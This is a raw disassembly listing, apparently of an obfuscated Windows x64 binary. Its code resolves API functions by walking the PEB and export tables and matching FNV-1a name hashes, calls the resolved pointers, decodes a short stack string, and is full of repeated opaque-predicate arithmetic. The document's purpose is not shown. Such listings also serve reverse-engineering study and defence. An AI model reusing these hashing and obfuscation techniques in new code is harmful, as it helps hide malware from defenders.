imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140057990
cmp edx, edi
jne 0x140057acc
mov r9, qword [r15 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x140057acc
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140057acc
mov r14d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x5521a70
test al, al
je 0x140057a39
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140057a20
cmp ecx, r10d
je 0x140057a48
test r8d, r8d
jne 0x1400579f0
jmp 0x140057acc
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, r11
jbe 0x140057a73
lea rax, [r11 + r12]
cmp rbx, rax
jae 0x140057a73
mov al, 1
jmp 0x140057a75
xor al, al
test al, al
je 0x140057aee
mov edi, 0x5521a70
mov r10d, edi
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x140057aa5
nop dword [rax + rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x140057a90
inc rbx
movzx eax, byte [rbx]
cmp al, 0
je 0x140057ac8
nop
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x140057ab0
mov r15, qword [r13]
mov rax, qword [r15]
mov r15, rax
cmp rax, r13
je 0x140057ae2
cmp qword [rax + 0x30], 0
je 0x140057ae2
mov al, 1
jmp 0x140057ae4
xor al, al
test al, al
jne 0x140057950
xor ebx, ebx
mov qword [0x14007d208], rbx
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x15c8]
call rbx
mov rdx, qword [0x14007d288]
test rdx, rdx
jne 0x140057ce5
xor edi, edi
mov r10d, 0x9eb270ea
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r15, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [r15 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140057b9f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x5aa18ca0
cmp rcx, r8
je 0x140057b97
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140057b80
cmp edx, edi
jne 0x140057cbc
mov r9, qword [r15 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x140057cbc
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140057cbc
mov r14d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x5aa18ca0
test al, al
je 0x140057c29
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140057c10
cmp ecx, r10d
je 0x140057c38
test r8d, r8d
jne 0x140057be0
jmp 0x140057cbc
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x140057c63
lea rax, [r11 + r12]
cmp rdx, rax
jae 0x140057c63
mov al, 1
jmp 0x140057c65
xor al, al
test al, al
je 0x140057cde
mov edi, 0x5aa18ca0
mov r10d, edi
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140057c95
nop dword [rax + rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140057c80
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x140057cb8
nop
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140057ca0
mov r15, qword [r13]
mov rax, qword [r15]
mov r15, rax
cmp rax, r13
je 0x140057cd2
cmp qword [rax + 0x30], 0
je 0x140057cd2
mov al, 1
jmp 0x140057cd4
xor al, al
test al, al
jne 0x140057b40
xor edx, edx
mov qword [0x14007d288], rdx
mov rcx, qword [rsp + 0x15c8]
call rdx
mov rdx, qword [0x14007d0c8]
test rdx, rdx
jne 0x140057ec5
xor edi, edi
mov r10d, 0x203430ae
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r15, r13
nop
movups xmm0, xmmword [r15 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140057d7f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xe8f390e4
cmp rcx, r8
je 0x140057d77
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140057d60
cmp edx, edi
jne 0x140057e9c
mov r9, qword [r15 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x140057e9c
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140057e9c
mov r14d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xe8f390e4
test al, al
je 0x140057e09
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140057df0
cmp ecx, r10d
je 0x140057e18
test r8d, r8d
jne 0x140057dc0
jmp 0x140057e9c
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x140057e43
lea rax, [r11 + r12]
cmp rdx, rax
jae 0x140057e43
mov al, 1
jmp 0x140057e45
xor al, al
test al, al
je 0x140057ebe
mov edi, 0xe8f390e4
mov r10d, edi
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140057e75
nop dword [rax + rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140057e60
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x140057e98
nop
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140057e80
mov r15, qword [r13]
mov rax, qword [r15]
mov r15, rax
cmp rax, r13
je 0x140057eb2
cmp qword [rax + 0x30], 0
je 0x140057eb2
mov al, 1
jmp 0x140057eb4
xor al, al
test al, al
jne 0x140057d20
xor edx, edx
mov qword [0x14007d0c8], rdx
mov rcx, qword [rsp + 0x15d0]
call rdx
xor edx, edx
mov r8d, 0xf8
lea rcx, [rsp + 0x2190]
call sub.VCRUNTIME140.dll_memset
mov r12d, 1
mov edx, r12d
lea rcx, [rsp + 0x2190]
call fcn.14005bd60
nop
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r15, rax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400582de
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140057ffa
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140057ffa
mov r10d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140057ff5
mov ecx, 0xb40718dd
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140057fd0
cmp ecx, 0xe6dccc9b
je 0x140058110
test r8d, r8d
jne 0x140057fa0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x140058010
cmp qword [rax + 0x30], 0
je 0x140058010
mov al, 1
jmp 0x140058012
xor al, al
test al, al
jne 0x140057f70
xor r14d, r14d
mov eax, r14d
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x1554]
mov r8d, 0x1000
lea rdx, [rsp + 0x5b90]
mov rcx, r15
call rax
test eax, eax
je 0x140058051
cmp dword [rsp + 0x1554], 0
mov rdx, r12
ja 0x140058054
mov rdx, r14
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005812f
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005812f
mov ebx, 7
jmp 0x1400581cd
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
xor r14d, r14d
jmp 0x140058020
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400581c6
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si ebx, xmm0
jmp 0x1400581cd
mov ebx, dword [rsp + 0x1554]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*4]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400582de
mov byte [rsp + 0x16a0], 0
mov byte [rsp + 0x180], 0x4c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x181], xmm0
mov qword [rsp + 0x191], rax
mov qword [rsp + 0x1688], r14
mov rax, qword [rsp + 0x1688]
cmp rax, 0x19
jae 0x1400582b3
mov rdx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx ebx, byte [rsp + rax + 0x180]
movabs rax, 0x33405c635154d936
add rdx, rax
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x7a
add bl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0x180], bl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x19
jb 0x140058250
mov ecx, dword [rsp + 0x1554]
movzx eax, byte [rsp + 0x180]
mov byte [rsp + rcx + 0x5b90], al
lea rdx, [rsp + 0x5b90]
lea rcx, [rsp + 0x21a0]
call fcn.140002170
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400583dc
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400583dc
mov eax, 7
jmp 0x14005847a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058473
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
jmp 0x14005847a
mov eax, dword [rsp + 0x1554]
xor esi, esi
cmp esi, eax
jge 0x140058496
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x21a8]
call fcn.140001f10
nop
lea rcx, [rsp + 0x2228]
call fcn.14005bd00
lea rcx, [rsp + 0x2228]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x18a8]
call fcn.14005c960
lea rcx, [rsp + 0x1a0]
call fcn.140001c70
nop
lea rcx, [rsp + 0x220]
call fcn.140001c70
nop
lea rcx, [rsp + 0x240]
call fcn.140001c70
nop
lea rcx, [rsp + 0x260]
call fcn.140001c70
nop
lea rcx, [rsp + 0x280]
call fcn.140001c70
lea r8, [rsp + 0x17e8]
lea rdx, [rsp + 0x1828]
lea rcx, [rsp + 0x160]
call fcn.14005e0c0
nop
lea r8, [rsp + 0x1848]
mov rdx, rax
lea rcx, [rsp + 0xec0]
call fcn.14005e220
nop
lea r8, [rsp + 0x1808]
mov rdx, rax
lea rcx, [rsp + 0xee0]
call fcn.14005e220
nop
mov rcx, rax
call fcn.1400020a0
mov rbx, rax
movzx edx, byte [rsp + 0x16a0]
lea rcx, [rsp + 0xf00]
call fcn.140002460
nop
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rbx + rax], 0
jne 0x140058580
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xf00]
call fcn.140002480
nop
xor eax, eax
mov byte [rsp + 0x7f], al
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x7f]
call fcn.14001ed70
mov r14, rax
cmp byte [rax], 0
jne 0x1400595a9
mov dword [rsp + 0x50], esi
mov r15d, dword [rsp + 0x1554]
mov r12d, dword [rsp + 0x1554]
mov r13d, dword [rsp + 0x1554]
nop dword [rax]
mov eax, dword [rsp + 0x50]
cmp eax, 1
jae 0x1400595a7
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*4]
add ebx, ebx
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x1400588ef
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400586de
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400586de
mov r15d, 7
jmp 0x140058774
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058774
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si r15d, xmm0
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058829
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140058829
mov r12d, 7
jmp 0x1400588bf
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400588bf
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si r12d, xmm0
movsxd rcx, dword [rsp + 0x50]
movsxd rax, r12d
mov rdx, qword [r14 + rcx*8 + 8]
and rdx, rax
add rdx, rdx
movsxd rax, dword [rsp + 0x50]
mov rbx, qword [r14 + rax*8 + 8]
sub rbx, rdx
movsxd rax, r15d
add rbx, rax
movsxd rax, dword [rsp + 0x50]
mov qword [r14 + rax*8 + 8], rbx
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140059288
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140058c39
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058a21
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140058a21
mov r13d, 7
jmp 0x140058ab7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058ab7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si r13d, xmm0
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058b6e
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140058b6e
mov dword [rsp + 0x58], 7
jmp 0x140058c07
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058c07
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x58], eax
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x58]
mov rdx, qword [r14 + rcx*8 + 8]
and rdx, rax
add rdx, rdx
movsxd rax, dword [rsp + 0x50]
mov rbx, qword [r14 + rax*8 + 8]
sub rbx, rdx
movsxd rax, r13d
add rbx, rax
movsxd rax, dword [rsp + 0x50]
mov qword [r14 + rax*8 + 8], rbx
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*2]
add ebx, ebx
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140058f54
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x1688], xmm1
